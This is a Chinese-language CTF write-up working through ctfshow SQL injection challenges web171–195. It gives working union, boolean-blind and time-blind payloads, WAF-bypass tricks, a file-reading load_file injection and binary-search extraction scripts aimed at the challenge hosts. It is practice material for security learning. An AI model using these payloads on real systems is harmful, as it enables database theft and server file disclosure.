• CTFSHOW -SQL 注入


    重新来做一遍 争取不看wp

    还是看了。。。。

    ctfshow学习记录-web入门(sql注入191-200)-CSDN博客

    CTFshow sql注入 上篇(web171-220)更新中 - 掘金

    【精选】CTFshow-WEB入门-SQL注入(上)_having盲注_bfengj的博客-CSDN博客

    ctfshow学习记录-web入门(sql注入191-200)-CSDN博客 

    web171  基本联合注入

    拿到题目我们已经知道了是sql注入

    所以我们可以直接开始

    第一题 不会难道哪里去 所以我们直接进行注入即可

    1. 1' and 1=2-- +
    2. 1' and 1=1-- +
    3. 实现闭合
    4. -1'+union+select+1,2,3--+%2b 查看字段数
    5. -1'+union+select+1,database(),3--+%2b 查看数据库 ctfshow_web
    6. -1'+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema%3ddatabase()--+%2b
    7. 查看表 ctfshow_user
    8. -1'+union+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name%3d'ctfshow_user'--+%2b
    9. 查看字段名 id,username,password
    10. -1'+union+select+1,group_concat(id,username,password),3+from+ctfshow_user--+%2b
    11. 获取flag
    12. 这里是bp抓包的格式 不是在页面进行注入的格式

    web172  变为两个字段

    1. 3' union select 2,3-- +
    2. 这题修改为两个字段
    3. 其他和上面无差别
    4. -1'+union+select+1,group_concat(id,username,password)+from+ctfshow_user2--+%2
    5. 获取flag

    web173  没看出区别

    1. 3' union select 2,database(),3-- +
    2. -1'+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema%3ddatabase()--+%2b
    3. 查看表 ctfshow_user
    4. -1'+union+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name%3d'ctfshow_user3'--+%2b
    5. 查看字段名 id,username,password
    6. -1' union select 1,group_concat(id,password),3 from ctfshow_user3-- +
    7. 获取flag

    web174 布尔盲注

    我们开始写盲注脚本

    之前一直写错了 所以我们开始写

    1. import requests
    2. url = "http://9e7dc39c-5e8a-4608-a025-1f9eddee64a2.challenge.ctf.show/api/v4.php?id="
    3. # payload = "1' and (ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1))={1})-- +"
    4. # payload = "1' and (ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user4'),{0},1))={1})-- +"
    5. payload = "1' and (ascii(substr((select group_concat(id,'--',username,'--',password)from ctfshow_user4 where username='flag'),{0},1))={1})-- +"
    6. result = ''
    7. flag = ''
    8. for i in range(1,50):
    9. for j in range(37,128):
    10. payload1 = payload.format(i,j)
    11. re = requests.get(url = url+payload1)
    12. # print(re.text)
    13. if "admin" in re.text:
    14. result += chr(j)
    15. print(result)

    没有二分法真的很慢的啊。。。 我们研究一下咋写吧

    1. import requests
    2. url = "http://9e7dc39c-5e8a-4608-a025-1f9eddee64a2.challenge.ctf.show/api/v4.php?id="
    3. # payload = "1' and (ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1))={1})-- +"
    4. # payload = "1' and (ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user4'),{0},1))={1})-- +"
    5. payload = "1' and (ascii(substr((select group_concat(id,'--',username,'--',password)from ctfshow_user4 where username='flag'),{0},1))>{1})-- +"
    6. result = ''
    7. flag = ''
    8. for i in range(1,50):
    9. high = 128
    10. low = 32
    11. mid = (high + low )//2
    12. while (high > low):
    13. payload1 = payload.format(i,mid)
    14. # print(payload1)
    15. re = requests.get(url = url+payload1)
    16. # print(re.text)
    17. if "admin" in re.text:
    18. low = mid+1
    19. else:
    20. high = mid
    21. mid = (high+low)//2
    22. if(chr(mid)==' '):
    23. break
    24. result +=chr(mid)
    25. print(result)
    26. # print(result)

    起飞咯 确实快了巨多

    其实思路很简单就是 如果回显正确 我们就跟进,将low设置为mid

    其实就是

    1. 32 128 80
    2. 如果正确
    3. 80 128

    然后一步一步进行缩小 如果错误 ,那么就说明太大了 我们就开始将 high设置为 mid的值 即80

    然后需要重新设置mid的值

    web175  时间注入

    这里我们能够发现 啥回显都没有了 这里什么东西都没得 1 2 3 都没数据

    那么这里如何注入呢 我们可以通过 sleep 进行时间盲注

    我们先来了解一下 上面的布尔注入

    1' and if(ascii(substr((select database()),1,1))>1,sleep(2),1)-- +

    我们可以发现 时间盲注 其实就是在 if中增加了 sleep的值 让如果>1 就睡2秒 否则回显1

    所以我们可以通过时间的计算来进行获取        

    1. import requests
    2. import time
    3. url = "http://5653e881-7c4e-48f9-95e5-8cc4647532b6.challenge.ctf.show/api/v5.php?id="
    4. payload = "1' and if(ascii(substr((select database()),{0},1))={1},sleep(2),1)-- +"
    5. flag =''
    6. for i in range(1,50):
    7. for j in range(98,128):
    8. payload1 = payload.format(i,j)
    9. # print(payload1)
    10. start_time = time.time()
    11. re = requests.get(url = url+payload1)
    12. stop_time = time.time()
    13. sub_time = stop_time - start_time
    14. if sub_time > 1.8:
    15. flag += chr(j)
    16. print(flag)
    17. break

    这里我们就实现了最简单的时间盲注脚本 然后我们可以开始写二分法的

    其实这里的二分法 就是判断条件改为时间即可

    1. import requests
    2. import time
    3. url = "http://5653e881-7c4e-48f9-95e5-8cc4647532b6.challenge.ctf.show/api/v5.php?id="
    4. payload = "1' and if(ascii(substr((select database()),{0},1))>{1},sleep(2),1)-- +"
    5. flag =''
    6. for i in range(1,50):
    7. high = 128
    8. low = 32
    9. mid = (high+low)//2
    10. while (high>mid):
    11. payload1 = payload.format(i,mid)
    12. # print(payload1)
    13. start_time = time.time()
    14. re = requests.get(url = url+payload1)
    15. stop_time = time.time()
    16. sub_time = stop_time - start_time
    17. if sub_time > 1.8:
    18. low = mid+1
    19. else:
    20. high = mid
    21. mid = (high+low)//2
    22. if (chr(mid)==" "):
    23. break
    24. flag += chr(mid)
    25. print(flag)

    这里我们能够发现 其实都没有怎么变化 只是判断条件改变了 所以其实二分法只需要学会一种即可

    然后通过判断条件的改变 就可以写出二分法的时间注入

    然后我们更新一下二分法时间注入

    1. import requests
    2. import time
    3. url = "http://5653e881-7c4e-48f9-95e5-8cc4647532b6.challenge.ctf.show/api/v5.php?id="
    4. # payload = "1' and if(ascii(substr((select database()),{0},1))>{1},sleep(2),1)-- +"
    5. # payload = "1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1))>{1},sleep(2),1)-- +"
    6. # payload = "1' and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user5'),{0},1))>{1},sleep(2),1)-- +"
    7. payload = "1' and if(ascii(substr((select group_concat(id,'--',username,'--',password)from ctfshow_user5 where username='flag'),{0},1))>{1},sleep(2),1)-- +"
    8. flag =''
    9. for i in range(1,50):
    10. high = 128
    11. low = 32
    12. mid = (high+low)//2
    13. while (high>mid):
    14. payload1 = payload.format(i,mid)
    15. # print(payload1)
    16. start_time = time.time()
    17. re = requests.get(url = url+payload1)
    18. stop_time = time.time()
    19. sub_time = stop_time - start_time
    20. if sub_time > 1.8:
    21. low = mid+1
    22. else:
    23. high = mid
    24. mid = (high+low)//2
    25. if (chr(mid)==" "):
    26. break
    27. flag += chr(mid)
    28. print(flag)

    发现不是那么南 只需要你会写盲注的二分法 然后通过修改判断条件即可

    web176 大小写绕过

    首先通过 order by 进行测试 可以发现是3个字段

    但是通过union select 的时候就发现接口错误

    说明过了waf

    这里我们就可以开始对union select 进行测试了 最简单的测试就是 通过大小写绕过

    发现成功回显 说明后端可能是通过正则对union select进行了过滤

    所以我们可以猜测 后端可能是这种语句

    只对字符串进行匹配 并且不对大小写进行过滤

    所以我们就可以开始继续注入了

    1'  uNIon seLEct 1,group_concat(password),3 from ctfshow_user where username='flag'-- +

     web177 过滤空格绕过

    这里我们经过测试 可以发现空格被过滤了

    所以这里我们可以通过

    1. %a0 %0a () %09 %0c %0d %0b
    2. 并且这里 -- + 不能使用 我们使用 # 但是这里我们需要url编码 就是 %23

    然后我们就可以进行注入 了 这里也过滤了 union select 但是没有大小写

    1'/**/Union/**/Select/**/1,2,group_concat(password)from/**/ctfshow_user/**/where/**/username='flag'%23

    这里的waf我们猜测看可能是这样的

    只过滤了 %20 所以我们可以使用其他的方式绕过

    web178 过滤了/**/

    这里和上面一题只是过滤了 /**/所以可以使用上面其他方式进行

    1'%0aUnion%0aSelect%0a1,2,group_concat(password)from%0actfshow_user%0awhere%0ausername='flag'%23

    这里过滤也只是多加了内容

     解释一下这里的正则

    1. \/ 这里是匹配 \
    2. \* 匹配 *
    3. 然后.*? 就是贪婪匹配 匹配 /*后的任何
    4. 然后匹配结尾
    5. \* 匹配后面的*
    6. \/ 匹配后面的/
    7. 这样我们就可以匹配到/**/

    如果我们只想匹配/**/只需要修改正则即可

    \/\*\*\/

    web179 过滤%0a %09等大多数符号

    这道题有个非预期吧 直接通过 1'||1%23就可以输出了

     这题还是过滤了很多符号 然后我们需要通过 %0c来绕过

    1'%0cUnion%0cSelect%0c1,2,group_concat(password)from%0cctfshow_user%0cwhere%0cusername='flag'%23

     这里的过滤应该就是讲一些符号加入匹配了

    首先通过url编码获取到值 然后进行匹配

    web180 过滤%23 使用闭合绕过

    发现过滤了 %23

    这里我们只能使用闭合了 使用 or '1 即可

    -1'%0cUnion%0cSelect%0c5,group_concat(password),3%0c%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%0cor'1'='0

    web181  通过 and or 优先级获取flag

    开始回显waf了 过滤的有点多啊

    1. function waf($str){
    2. return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
    3. }

     这里一时间没有思路看了wp发现 这里是可以通过 优先级进行绕过的

    1. and > or
    2. 所以and会先执行
    3. 1 and 0 ====0
    4. 但是 1 and 0 or 1 就会变为 0 or 1 =====1
    5. 所以我们可以根据这个特性绕过

     所以这里我们可以通过

    -1'||username='flag

     来获取flag

    web182  通过id查询 获取flag 和上题类似

    一样的payload 直接打

    失败了 过滤了flag 所以我们在之前爆破可以知道 id为 26

    0'||id='26

    看了文章 还有一个时间盲注的payload

    1. -1'or(id=26)and(if(ascii(mid(password,1,1))>1,sleep(2),1))and'1
    2. 来解释一下
    3. 0 or 1 and 1 and '1 ======1
    4. 0 or 1 and 0 and '1 ======0
    5. 这里就可以实现盲注 但是没有
    6. 但是在测试的 时候 发现
    7. -1'or(id=26)and(if(ascii(mid(password,1,1))>1,1,0))and'1 这个也可以直接爆出flag
    8. 这里要注意 if(表达式,1,0) 这里的1 是如果表达式真 就输出 1 否则输出 0
    9. 所以我们前面 >1 这个时候就可以输出flag
    10. 但是好多此一举啊 因为我们可以直接获取flag 何必盲注呢

     但是使用二分法 也是很快就是了

    web183 通过闭合from 构造where 实现like匹配内容

    这里说实在话 我刚刚进来 没看懂这道题目干嘛

    POST 一个参数 用来查找返回的数量

    返回的内容在这里

    那我们要怎么实现注入呢 我们还是看看sql的语句

    1. $sql = "select count(pass) from ".$_POST['tableName'].";";
    2. 这里我们可以发现
    3. 正常 我们的查询是where 后面进行注入 但是这里没有where啊?
    4. 没有where ?
    5. 这里我们不就可控吗
    6. 首先通过前面 我们知道了表 是 ctfshow_user

    发现回显了 所以这里是我们获取内容的地方

    然后我们知道 这个语句中 不存在 where 那么我们写入where不就好了

    1. $sql = "select count(pass) from ".$_POST['tableName'].";";
    2. 修改
    3. select count(pass) from "ctfshow_user" where pass = ctf%";
    4. 这种语句是否可行呢
    5. 当然不可以 毕竟存在过滤 我们开始绕过 空格使用 括号
    6. return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
    7. = 使用 like
    8. (ctfshow_user)where(pass)like(ctf%)
    9. 这里ctf%是匹配ctf开头的内容 但是这里不行
    10. (ctfshow_user)where(pass)like'ctf%'
    11. 需要这样

    payload出来了 那么这么繁琐的内容 肯定就交给脚本咯

    1. import string
    2. import requests
    3. url = "http://742f4f44-a736-424b-aa24-09424fc4210f.challenge.ctf.show/select-waf.php"
    4. payload = "(ctfshow_user)where(pass)like'ctfshow{0}"
    5. flag = ''
    6. for i in range(0,100):
    7. for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
    8. payload1= payload.format(flag+j)+"%'"
    9. data = {'tableName':payload1}
    10. re = requests.post(url=url,data=data)
    11. if "$user_count = 1;" in re.text:
    12. flag +=j
    13. print("ctfshow"+flag)

    这里就可以获取到flag 是通过like的匹配这里

    这里我们最好解读一下正则

    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);

    首先就是过滤了很多符号防止绕过空格的过滤 其次过滤了 # 防止注释

    or = select 也全部被过滤 并且增加了 /i 防止大小写绕过

    web184 过滤了where 通过下面的方法绕过

    首先解读正则

        return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i',

    和上面差不多 并且过滤了 where  union 单引号 双引号 内联 sleep

    过滤更加严格了

    但是放出了空格

    我们如何读取内容呢

    这里我们可以使用两个方式

    regexp和like

    这里我们先补充知识点

    1. $sql = "select count(*) from ".$_POST['tableName'].";";
    2. 这里我们可以看见前面使用了 count聚合函数
    3. 所以我们后面可以使用 group by having 这种用法
    4. group by 允许我们按照某个列进行分组
    5. having 允许对分组的数据再进行数据的筛选
    6. 所以我们可以使用
    7. group by pass having pass like ''
    8. 或者
    9. group by pass having pass regexp ''

    但是这里有个问题 就是 单引号双引号被过滤了 我们无法实现

    怎么办呢 我们可以转换为 hex 进行执行

    这里为什么可以直接通过regexp然后调用16进制

    我在本地测试的时候发现 需要通过

    SELECT COUNT(*) FROM admin GROUP BY name HAVING HEX(name) LIKE '61%'

    这种语句才可以通过十六进制查询 这里为什么可以我还不是很明白

    我们可以开始写payload

    ctfshow_user group by pass having pass like (0x63746673686f777b%)

    然后我就了然了

    这里语句是错误的 因为我们如果使用十六进制拼接% 会报错

    所以我们将 % 也转变为hex 就是25

    HAVING 配合 like

    ctfshow_user group by pass having pass like (0x63746673686f777b25)

    这个时候 就可以回显正确的值了

    这个时候我们只需要通过编写脚本即可

    1. import requests
    2. import string
    3. url = "http://0890718d-8277-4712-8927-3ac132f6bd31.challenge.ctf.show/select-waf.php"
    4. paylaod = "ctfshow_user group by pass having pass like 0x63746673686f777b{0}"
    5. uuid = string.ascii_lowercase+string.digits+"-{}"
    6. def str_to_hex(str):
    7. return ''.join([hex(ord(c)).replace('0x','') for c in str])
    8. flag =''
    9. for i in range(1,100):
    10. for j in uuid:
    11. payload1 = paylaod.format(str_to_hex(flag+j+'%'))
    12. data = {
    13. 'tableName':payload1
    14. }
    15. re = requests.post(url=url,data=data)
    16. if "$user_count = 1;" in re.text:
    17. flag+=j
    18. print("ctfshow{"+flag)

    REGEXP

    这里有一个问题就是需要25即 %来补充

    那我们可不可以不需要25来代表后面还有内容呢

    regexp即可

    1. ctfshow_user group by pass having pass like (0x63746673686f777b25)
    2. 这里的代码 我们修改为
    3. ctfshow_user group by pass having pass regexp(0x63746673686f777b)
    4. 即可

    那我们就再修改一下脚本看看能不能实现
     

    1. import requests
    2. import string
    3. url = "http://0890718d-8277-4712-8927-3ac132f6bd31.challenge.ctf.show/select-waf.php"
    4. paylaod = "ctfshow_user group by pass having pass regexp(0x63746673686f777b{0}"
    5. uuid = string.ascii_lowercase+string.digits+"-{}"
    6. def str_to_hex(str):
    7. return ''.join([hex(ord(c)).replace('0x','') for c in str])
    8. flag =''
    9. for i in range(1,100):
    10. for j in uuid:
    11. payload1 = paylaod.format(str_to_hex(flag+j))+")"
    12. # print(payload1)
    13. data = {
    14. 'tableName':payload1
    15. }
    16. re = requests.post(url=url,data=data)
    17. if "$user_count = 1;" in re.text:
    18. flag+=j
    19. print("ctfshow{"+flag)

    发现依旧获取了flag

    然后这里我好像看wp的时候还发现了一种方式

    这里是对where 过滤 提供了新的思路

    INNER join on

    这道题目最难受的地方其实就是where被过滤了 我们只要绕过这个就可以了

    这里我们可以通过INNER join on 来代替where

    内连接

    ctfshow_user a inner join ctfshow_user b on b.pass like (0x...)

    这里其实就是

    SQL INNER JOIN 关键字 | 菜鸟教程

    这个讲的很清楚了 我们这里就是为了通过代替where 然后返回数值

    简单来说就是两个表 当内连接后 将on后面条件符合的内容返回

    所以这里我们修改也可以跑出来

    这里需要注意修改

    $user_count = 22;

    然后我们就可以获取到flag了

    1. import requests
    2. import string
    3. url = "http://0890718d-8277-4712-8927-3ac132f6bd31.challenge.ctf.show/select-waf.php"
    4. paylaod = "ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f777b{0}"
    5. uuid = string.ascii_lowercase+string.digits+"-{}"
    6. def str_to_hex(str):
    7. return ''.join([hex(ord(c)).replace('0x','') for c in str])
    8. flag =''
    9. for i in range(1,100):
    10. for j in uuid:
    11. payload1 = paylaod.format(str_to_hex(flag+j+'%'))
    12. # print(payload1)
    13. data = {
    14. 'tableName':payload1
    15. }
    16. re = requests.post(url=url,data=data)
    17. if "$user_count = 22;" in re.text:
    18. flag+=j
    19. print("ctfshow{"+flag)
    20. break

    web185  过滤了数字 ,通过True绕过

    依旧 查看一下过滤内容

        return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);

    这里好像没啥差别 空格也没有过滤 但是这里有个问题 过滤了数字

    这里我就不会了

    首先我们记录一下 mysql中函数可以获取的数字

    首先我们来了解一下 true

    TRUE变为数字

    所以我们可以通过True的相加获取数字

    我们这里的内容是通过上面的十六进制脚本获取的

    然后我们可以通过

    来获取十六进制

    所以我们开始编写脚本

    从这里我们就可以看出来 是通过True来作为数字

    1. def createNum(s):
    2. num = 'true'
    3. if s == 1:
    4. return 'true'
    5. else:
    6. for i in range(s-1):
    7. num +='+true'
    8. return num
    9. def createStrNum(n):
    10. str=''
    11. str+="chr("+createNum(ord(n[0]))+")"
    12. for i in n[1:]:
    13. str += ",chr(" + createNum(ord(i)) + ")"
    14. return str

    我们来解释一下

    1. def createNum(s):
    2. num = 'true' 首先这里是把数字定义为true
    3. if s == 1: 如果只是1 那么就返回一个true
    4. return 'true'
    5. else:
    6. for i in range(s-1): 否则就返回 s个true
    7. num +='+true' 这里看似是s-1 但是这里是 num+= 所以还是s个
    8. return num
    9. def createStrNum(n):
    10. str=''
    11. str+="chr("+createNum(ord(n[0]))+")" 这里更简单了 其实就是输出一个字符串罢了
    12. 首先将 第一个字符转为true格式 然后再加上chr 即可
    13. for i in n[1:]:
    14. str += ",chr(" + createNum(ord(i)) + ")"
    15. 这里就是除了第一个后面 也按照这种格式进行 但是这里需要通过,
    16. return str
    17. 给出个例子大家就明白了
    18. 我们现在输入一个 3
    19. 其本身的ascii值为51
    20. 然后通过 createNum 获取到 51true
    21. 然后放入 createStrNum中
    22. 就变为了 chr(true+true+.....+true)

    这里我们就可以绕过数字过滤了

    这里我们要注意 我们在payload 中需要加上 concat 将其chr后组合为一个字符串

    发现 组合为一起了 这样子 我们才可以构成 0x6164 这种

    1. import string
    2. import requests
    3. url = 'http://6ec04948-9cb4-4ed1-9cc8-d72f9ab75d93.challenge.ctf.show/select-waf.php'
    4. payload = 'ctfshow_user group by pass having pass like(concat({}))'
    5. flag ='ctfshow{'
    6. def createNum(n):
    7. num = 'true'
    8. if n == 1:
    9. return 'true'
    10. else:
    11. for i in range(n-1):
    12. num+="+true"
    13. return num
    14. def createStrNum(c):
    15. str=''
    16. str += 'chr('+createNum(ord(c[0]))+')'
    17. for i in c[1:]:
    18. str +=',chr(' + createNum(ord(i)) + ')'
    19. return str
    20. uuid = string.ascii_lowercase + string.digits + "-{}"
    21. for i in range(1,50):
    22. for j in uuid:
    23. payload1 =payload.format(createStrNum(flag+j+"%"))
    24. # print(payload1)
    25. data = {
    26. 'tableName':payload1
    27. }
    28. re = requests.post(url=url,data=data)
    29. if "$user_count = 0;" not in re.text:
    30. flag += j
    31. print(flag)
    32. if j == '}':
    33. exit()
    34. break

    这个题目确实南 需要好好看

    web186

    发现过滤了无关紧要的东西 我们上一题的payload直接打就行了

    1. import string
    2. import requests
    3. url = 'http://1ca9c268-b33b-48d1-9f3a-1d8c9b507696.challenge.ctf.show/select-waf.php'
    4. payload = 'ctfshow_user group by pass having pass like(concat({}))'
    5. flag ='ctfshow{'
    6. def createNum(n):
    7. num = 'true'
    8. if n == 1:
    9. return 'true'
    10. else:
    11. for i in range(n-1):
    12. num+="+true"
    13. return num
    14. def createStrNum(c):
    15. str=''
    16. str += 'chr('+createNum(ord(c[0]))+')'
    17. for i in c[1:]:
    18. str +=',chr(' + createNum(ord(i)) + ')'
    19. return str
    20. uuid = string.ascii_lowercase + string.digits + "-{}"
    21. for i in range(1,50):
    22. for j in uuid:
    23. payload1 =payload.format(createStrNum(flag+j+"%"))
    24. # print(payload1)
    25. data = {
    26. 'tableName':payload1
    27. }
    28. re = requests.post(url=url,data=data)
    29. if "$user_count = 0;" not in re.text:
    30. flag += j
    31. print(flag)
    32. if j == '}':
    33. exit()
    34. break

    web187 md5 + sql ==密码

    看到md5我们就可以将sql注入和md5的特殊字符串联系起来

    1. content: ffifdyop
    2. hex: 276f722736c95d99e921722cf9ed621c
    3. raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
    4. string: 'or'6]!r,b

    执行查看回显即可

     web188 弱比较绕过

    这里我确实没看懂

    但是看了wp 恍然大悟

      $sql = "select pass from ctfshow_user where username = {$username}";

    这个是我们的查询语句 变量直接放在 sql语句中 所以我们可以进行构造

    这里有一个最简单的就是万能密码

    1. $sql = "select pass from ctfshow_user where username = {$username}";
    2. 变为
    3. $sql = "select pass from ctfshow_user where username = 1||1";

    那么就可以登入成功了

    这里还有一个方式 username=0

    这个时候 会返回所有的内容

    为什么呢 因为 name一般都是字符

    在mysql中

    字符和数字进行比较 会将字符变为 0 开头的

    所以就可以比对成功

    然后我们需要绕过密码

    1. //密码判断
    2. if($row['pass']==intval($password)){
    3. $ret['msg']='登陆成功';
    4. array_push($ret['data'], array('flag'=>$flag));
    5. }

    这里其实也是一样的 如果pass 是字符 那么就返回0 所以password=0 就可以登入成功

    所以这里有两个payload

    1. username=1||1&password=0
    2. username=0&password=0

    web189 盲注读取文件

     这里我们先学习一下 mysql读取文件的方式

    我们可以通过 load_file实现

    1. MariaDB [test]> select load_file('/mnt/c/Users/Administrator/Desktop/1.txt');
    2. +-------------------------------------------------------+
    3. | load_file('/mnt/c/Users/Administrator/Desktop/1.txt') |
    4. +-------------------------------------------------------+
    5. | aaa |
    6. +-------------------------------------------------------+

    这里我们发现 可以读取 那么如何配合盲注呢

    这里我们首先介绍一下 我们可以通过正则来匹配

    这里我们来进行实验

    表中存在2个数据

    1.txt的内容为 aaa

    我们如何通过读取呢

    我们使用if

    if((load_file('/mnt/c/Users/Administrator/Desktop/1.txt'))regexp(""),0,1)

    这里其实就是通过读取文件内容 然后经过正则匹配 如果是这些 就返回 1 否则返回 0

    然后我们就可以在 regexp 后面进行输入内容 这里是aaa

    select count(*) from user where name = if((load_file('/mnt/c/Users/Administrator/Desktop/1.txt'))regexp('aa'),0,1);

    发现识别到 是 aa 所以返回 1  这样我们就可以返回count(*)

    我们试试看错误的

    select count(*) from user where name = if((load_file('/mnt/c/Users/Administrator/Desktop/1.txt'))regexp('aab'),0,1);

    发现错误 所以返回0 所以不会执行前面的 count(*)

    这样我们就可以实现盲注了

    这里我们就可以开始写脚本了

    到这题 其实就是 1 的话就出现 查询错误 0 就出现密码错误

    然后我们就可以根据这个来写

    password 还是 0 

    根据 上一题的 弱比较

    1. import string
    2. import requests
    3. url = "http://1f66dd86-549d-4dd2-be19-9b90b21b11e0.challenge.ctf.show/api/"
    4. payload = """if((load_file("/var/www/html/api/index.php"))regexp("{0}"),0,1)"""
    5. uuid = string.ascii_lowercase+ string.digits + "-{}"
    6. flag = "ctfshow{"
    7. for i in range(1,100):
    8. for j in uuid:
    9. payload1=payload.format(flag+j)
    10. data ={
    11. 'username':payload1,
    12. 'password':0
    13. }
    14. re = requests.post(url=url,data=data)
    15. # print(re.text)
    16. # print(payload1)
    17. if r"""{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}""" in re.text:
    18. flag +=j
    19. print(flag)
    20. if j == "}":
    21. exit()
    22. break

    最终实现了注入

    web190 布尔盲注

    啥都没过滤的布尔盲注

    1. import string
    2. import requests
    3. url = "http://eb03d743-6ff1-4788-8972-29b7e88b2e52.challenge.ctf.show/api/"
    4. # payload = """admin' and if(ascii(substr((select database()),{0},1))>{1},1,0)-- +"""
    5. # payload = "admin' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1))>{1},1,0)-- +"
    6. # payload = "admin' and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))>{1},1,0)-- +"
    7. # flag = "ctfshow{"
    8. payload = "admin' and if(ascii(substr((select group_concat(id,'---',f1ag)from ctfshow_fl0g),{0},1))>{1},1,0)-- +"
    9. flag = ''
    10. for i in range(1,100):
    11. high = 128
    12. low = 32
    13. mid =(high+low)//2
    14. while (high>low):
    15. payload1=payload.format(i,mid)
    16. # print(payload1)
    17. data ={
    18. 'username':payload1,
    19. 'password':0
    20. }
    21. re = requests.post(url=url,data=data)
    22. # print(re.text)
    23. # print(payload1)
    24. if r"""{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}""" in re.text:
    25. low = mid + 1
    26. else:
    27. high = mid
    28. mid = (high+low)//2
    29. if chr(mid) == " ":
    30. break
    31. flag += chr(mid)
    32. print(flag)
    33. if chr(mid) == '}':
    34. exit()

    web191 过滤ascii 的布尔盲注

    1. if(preg_match('/file|into|ascii/i', $username)){
    2. $ret['msg']='用户名非法';
    3. die(json_encode($ret));
    4. }

    出现过滤了 这里过滤了 ascii 我们看看怎么搞

    其实这里换个payload即可

    admin' and if(substr((select database()),1,1)='c',0,1)

    这里即可

    但是这里有个bug  就是_会被识别为{

    1. import requests
    2. url = "http://36a0d4e4-0612-48f3-9a51-e5b0b2b598ce.challenge.ctf.show/api/"
    3. # payload = "admin' and if(substr((select database()),{0},1)>'{1}',0,1)-- +"
    4. # payload = "admin' and if(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1)>'{1}',0,1)-- +"
    5. # payload = "admin' and if(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{0},1)>'{1}',0,1)-- +"
    6. payload = "admin' and if(substr((select group_concat(id,'---',f1ag)from ctfshow_fl0g),{0},1)>'{1}',0,1)-- +"
    7. flag =''
    8. for i in range(1,100):
    9. high = 128
    10. low =32
    11. mid = (high+low)//2
    12. while(high>low):
    13. payload1= payload.format(i,chr(mid))
    14. # print(payload1)
    15. data ={
    16. 'username':payload1,
    17. 'password':0
    18. }
    19. re = requests.post(url =url ,data = data)
    20. # print(re.text)
    21. if r"\u7528\u6237\u540d\u4e0d\u5b58\u5728" in re.text:
    22. low = mid + 1
    23. else:
    24. high = mid
    25. mid = (high+low)//2
    26. if chr(mid)== " ":
    27. break
    28. flag+=chr(mid)
    29. # print(flag.lower().replace('{','_'))
    30. print(flag.lower())
    31. if chr(mid) == "}":
    32. exit()

    web192 过滤 ord hex

    又增加了 过滤

    1. //TODO:感觉少了个啥,奇怪
    2. if(preg_match('/file|into|ascii|ord|hex/i', $username)){
    3. $ret['msg']='用户名非法';
    4. die(json_encode($ret));
    5. }

     好像对我这个没啥影响 继续打就行了

    web193 过滤 substr

    1. if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
    2. $ret['msg']='用户名非法';
    3. die(json_encode($ret));
    4. }

    过滤了 substr 可以使用mid代替

    1. import requests
    2. url = "http://5cfc18ff-19cb-48d1-942e-bc8c1c930634.challenge.ctf.show/api/"
    3. # payload = "admin' and if(mid((select database()),{0},1)>'{1}',0,1)-- +"
    4. # payload = "admin' and if(mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1)>'{1}',0,1)-- +"
    5. # payload = "admin' and if(mid((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flxg'),{0},1)>'{1}',0,1)-- +"
    6. payload = "admin' and if(mid((select group_concat(id,'---',f1ag)from ctfshow_flxg),{0},1)>'{1}',0,1)-- +"
    7. flag =''
    8. for i in range(1,100):
    9. high = 128
    10. low =32
    11. mid = (high+low)//2
    12. while(high>low):
    13. payload1= payload.format(i,chr(mid))
    14. # print(payload1)
    15. data ={
    16. 'username':payload1,
    17. 'password':0
    18. }
    19. re = requests.post(url =url ,data = data)
    20. # print(re.text)
    21. if r"\u7528\u6237\u540d\u4e0d\u5b58\u5728" in re.text:
    22. low = mid + 1
    23. else:
    24. high = mid
    25. mid = (high+low)//2
    26. if chr(mid)== " ":
    27. break
    28. flag+=chr(mid)
    29. # print(flag.lower().replace('{','_'))
    30. print(flag.lower())
    31. if chr(mid) == "}":
    32. exit()

    web194 过滤 left right substring

    1. //TODO:感觉少了个啥,奇怪
    2. if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
    3. $ret['msg']='用户名非法';
    4. die(json_encode($ret));
    5. }

    ? 好像还是可以继续 直接用上面的payload

    web195 堆叠注入 无引号的十六进制查询

    这里我们首先来看看过滤内容

    1. if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    2. $ret['msg']='用户名非法';
    3. die(json_encode($ret));
    4. }

